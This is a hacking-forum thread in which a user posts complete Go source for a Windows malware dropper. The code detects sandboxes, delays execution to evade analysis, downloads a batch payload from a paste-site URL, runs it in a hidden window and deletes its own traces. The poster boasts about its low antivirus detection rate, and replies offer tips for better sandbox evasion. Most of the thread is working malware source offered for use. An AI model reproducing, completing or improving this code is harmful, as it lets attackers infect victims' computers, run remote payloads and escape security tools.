

Forum: [Hack Forums](#)

Thread: [Dropper Malware in GOLANG](#)

geoshot - August 6, 2026, 6:05 am

HOPE YOU GUYS LIKE MY PROJECT

94% of antivirus engines don't detect it

but, Microsoft detected it and google detected it

It won't stay at 4/71 forever

<https://www.virustotal.com/gui/file/ab9b1b0585c91ff0dae839829162a8f8e6dc062e8da287bca513d866fd52ccbb/detection>

Code package main

```
import (  
    "io"  
    "net/http"  
    "os"  
    "os/exec"  
    "runtime"  
    "syscall"  
    "time"  
)  
  
func isSuspicious() bool {  
    if runtime.NumCPU() < 2 {  
        return true  
    }  
    if !createTemp() {  
        return true  
    }  
    if !canAllocateMemory() {  
        return true  
    }  
    return false  
}  
  
func createTemp() bool {  
    testFile := "C:\\Users\\Public\\test_temp.txt"  
    err := os.WriteFile(testFile, []byte("test"), 0644)  
    if err != nil {  
        return false  
    }  
    _, err = os.ReadFile(testFile)
```

```

    if err != nil {
        os.Remove(testFile)
        return false
    }
    os.Remove(testFile)
    return true
}

func canAllocateMemory() bool {
    testSlice := make([]byte, 100*1024*1024)
    if testSlice == nil {
        return false
    }
    for i := range testSlice {
        testSlice[i] = byte(i % 256)
    }
    testSlice = nil
    runtime.GC()
    return true
}

func evadeSandbox() {
    time.Sleep(2 * time.Minute)
}

func main() {
    if isSuspicious() {
        evadeSandbox()
    }

    dropperPath := "C:\\Users\\Public\\payload.bat"
    //
    // USE https://spaceb.in, AND REPLACE YOUR LINK ID TO YOUR PAYLOAD URL
    //
    payloadURL := "https://spaceb.in/LINK ID HERE/raw"

    err := downloadFile(payloadURL, dropperPath)
    if err != nil {
        return
    }

    cmd := exec.Command(dropperPath)
    cmd.SysProcAttr = &syscall.SysProcAttr{
        HideWindow: true,
    }
    err = cmd.Start()
    if err != nil {
        return
    }

    time.Sleep(2 * time.Second)

    selfPath, err := os.Executable()

```

```

    if err != nil {
        return
    }

    deletePath := "C:\\Users\\Public\\cleanup.bat"
    script := `@echo off
timeout /t 2 /nobreak >nul
del "" + dropperPath + ""
del "" + selfPath + ""
del "%~f0"
`

    if err := os.WriteFile(deletePath, []byte(script), 0666); err != nil {
        return
    }

    cmdDel := exec.Command(deletePath)
    cmdDel.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    cmdDel.Start()
}

func downloadFile(url, filepath string) error {
    client := &http.Client{
        Timeout: 30 * time.Second,
    }

    resp, err := client.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return err
    }

    out, err := os.Create(filepath)
    if err != nil {
        return err
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    if err != nil {
        return err
    }

    return nil
}

```

Features:

Anti-Analysis Features:

CPU core count detection

Temporary file creation test
Memory allocation test

Payload Delivery:
HTTP download
File creation
30 second timeout

Execution:
Hidden window execution
Batch file execution

Self-Cleanup:
Dropper deletion
Payload deletion
Cleanup script creation
Self-deleting cleanup

Stealth:
Silent error handling
Hidden process windows
Automatic trace removal
Sandbox evasion sleep

Dotexe - August 6, 2026, 7:04 am

Wtf

Spoiler [\(Click to View\)](#)

```
Code func evadeSandbox() {  
    time.Sleep(2 * time.Minute)  
}
```

Overall that will get detected by the dumbest EDR ever as well

DramaKing - August 6, 2026, 7:48 am

(Aug 6, 2026 07:04 AM)Dotexe Wrote: [\[CITE\]](#) Wtf

Spoiler [\(Click to View\)](#)

```
Code func evadeSandbox() {  
    time.Sleep(2 * time.Minute)  
}
```

Overall that will get detected by the dumbest EDR ever as well
Yeah, AV sandboxes tend to ignore sleep nowadays.

geoshot - August 6, 2026, 10:59 am

(Aug 6, 2026 07:48 AM)DramaKing Wrote: [\[CITE\]](#) Yeah, AV sandboxes tend to ignore sleep nowadays.
really!?

(Aug 6, 2026 07:04 AM)Dotexe Wrote: [\[CITE\]](#) Wtf

Spoiler [\(Click to View\)](#)

```
Code func evadeSandbox() {  
    time.Sleep(2 * time.Minute)  
}
```

Overall that will get detected by the dumbest EDR ever as well
How improve it?

(Aug 6, 2026 07:04 AM)Dotexe Wrote: [\[CITE\]](#) Wtf

Spoiler [\(Click to View\)](#)

```
Code func evadeSandbox() {  
    time.Sleep(2 * time.Minute)  
}
```

Overall that will get detected by the dumbest EDR ever as well
How improve it?

Dotexe - August 7, 2026, 4:22 am

(Aug 6, 2026 10:59 AM)geoshot Wrote: [\[CITE\]](#) really!?

How improve it?

How improve it?

<https://go.dev/doc/>

closedeyeknight - August 7, 2026, 6:56 pm

Use NtWaitForSingleObject or spin-lock sleep. You can realize a sleep by spin, google it.